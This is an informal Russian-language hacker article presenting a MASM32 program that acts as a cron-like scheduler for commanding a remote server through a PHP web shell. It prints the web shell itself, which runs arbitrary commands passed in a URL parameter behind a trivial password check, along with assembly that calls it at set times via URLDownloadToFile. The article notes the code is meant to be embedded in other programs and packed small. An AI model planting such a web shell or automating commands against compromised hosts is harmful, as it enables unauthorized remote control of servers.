Крон и винда, ассемблер и php, вебшелл и планирование задач... Какая между
всем этим связь? Первое, что приходит в голову - это пхп-скрипт, запускаемый на
локалхосте планировщиком задач windows, взаимодействующий через WinAPI
посредством DDE с асмовой программой, которая через web shell управляет cron'ом
на удалённом сервере. Но на самом деле это не так, сегодня мы будем извращаться
немного иначе. =)
По порядку: cron (фактом своего существования 😉 ) натолкнул меня на мысль
написать планировщик задач удалённого сервера через веб шелл, и написать его под
винду. Потом промелькнула мысль, что это можно встраивать в различные программы,
так что написать было решено только каркас, чем я и занимался прямо перед
написанием статьи.
Ну а теперь к делу. =) Имеем мы вебшелл (или несколько), masm32, винду.
Приступаем к кодингу вышеописанной программы, но сперва покажу листинг вебшелла,
используемого в примере.
<?
if($_GET['p']=="just4article")
system($_GET['c']);
?>
Шелл, как видно, простой, а листинг приведён чтобы никого не смущала переменная
p. 🙂
Итак, приступаем к exe-составляющей. Входные данные в примере приниматься не
будут, сохранения и т.п. тоже нет, т.к. это всего лишь пример, но структура в
принципе показана полностью.
Далее следует код с комментариями.
.386
.model flat, stdcall
option casemap :none ; case sensitive
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\winmm.inc
include \masm32\include\masm32.inc
include \masm32\include\urlmon.inc
include \masm32\macros\macros.asm ; нужно в ходе
тестов, в процессе кодинга 🙂
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\winmm.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\urlmon.lib
; нужные инклуды
.data
webshellcmd db "http://someserver.org/shell.php?p=just4test&c=ls%20-la",0 ;
команда нашему вебшеллу
anothercmd db "http://someserver.org/shell.php?p=just4test&c=uname%20-a",0 ;
другая команда, для второй задачи
fileforansw db "answer.txt",0 ; файл, в который
будем писать ответ сервера
.code
start:
JustDoIt proc
local stm:SYSTEMTIME
local szYear:DWORD
local szMonth:DWORD
local szDayOfWeek:DWORD
local szDay:DWORD
local szHour:DWORD
local szMinute:DWORD
local szwSecond:DWORD
local szMilliseconds:DWORD
local szDayaddr:DWORD
; определили locals
; здесь я перечислил всю структуру SYSTEMTIME, а
использовать сейчас будем
; только wDay, wHour и wMinute (w в структуре у нас
переходит в sz в local)
@startthis: ; начинаем цикл - будем проверять время
каждые 10 секунд
invoke GetLocalTime,addr stm ; получаем время, оно
у нас в структуре SYSTEMTIME
;movzx eax,stm.wDay
;mov szDayaddr,ustr$(eax) ; <-- вот так можно
добывать адрес переменной, скорее всего пригодится
movzx eax,stm.wDay ; переносим в eax время из
переменной, число в данном случае
mov szDay,eax ; переносим из eax'a в szDay
movzx eax,stm.wHour ; и т.д.
mov szHour,eax
movzx eax,stm.wMinute
mov szMinute,eax
.if szDay==22 && szHour==4 && szMinute==26 ;
смотрим время
invoke URLDownloadToFile,0,offset webshellcmd,offset fileforansw,0,0 ; о как 🙂
; вебшелл юзаем через URLDownloadToFile, дешево и
сердито 😉
jmp @done1 ; выполнили задачу переходим к следующей
.endif ;
push 10000 ; 10 секунд ждём
call Sleep
jmp @startthis ; если мы дошли до этого, значит
задача не выполнена - время ещё не подошло
; так что идём к началу цикла и смотрим время снова
@done1: ; а если задача №1 выполнена...
invoke GetLocalTime,addr stm ; опять добываем время
movzx eax,stm.wDay ; снова выдираем отсюда нужное
нам
mov szDay,eax
movzx eax,stm.wHour
mov szHour,eax
.if szDay==22 && szHour==5 ; здесь уже выполняется
задача 22го числа в 5 часов
invoke URLDownloadToFile,0,offset anothercmd,offset fileforansw,0,0
jmp @done2 ; сделали? идём дальше 🙂
.endif
push 10000
call Sleep
@done2: ; ну в данном примере это уже конец =) все
задачи выполнены 😉
push 0
call ExitProcess ; выход 😉
JustDoIt endp
end start
Вот такая небольшая программка весом 1536 байт; сжимаем FSG - 949 байт. =)
А далее можно сделать вечный цикл, базу с числами/временем/командами и т.д.,
некое подобие крона. =)
Спешл пасиба AZ4ZeL за устранение моих начных глюков в процессе кодинга. =)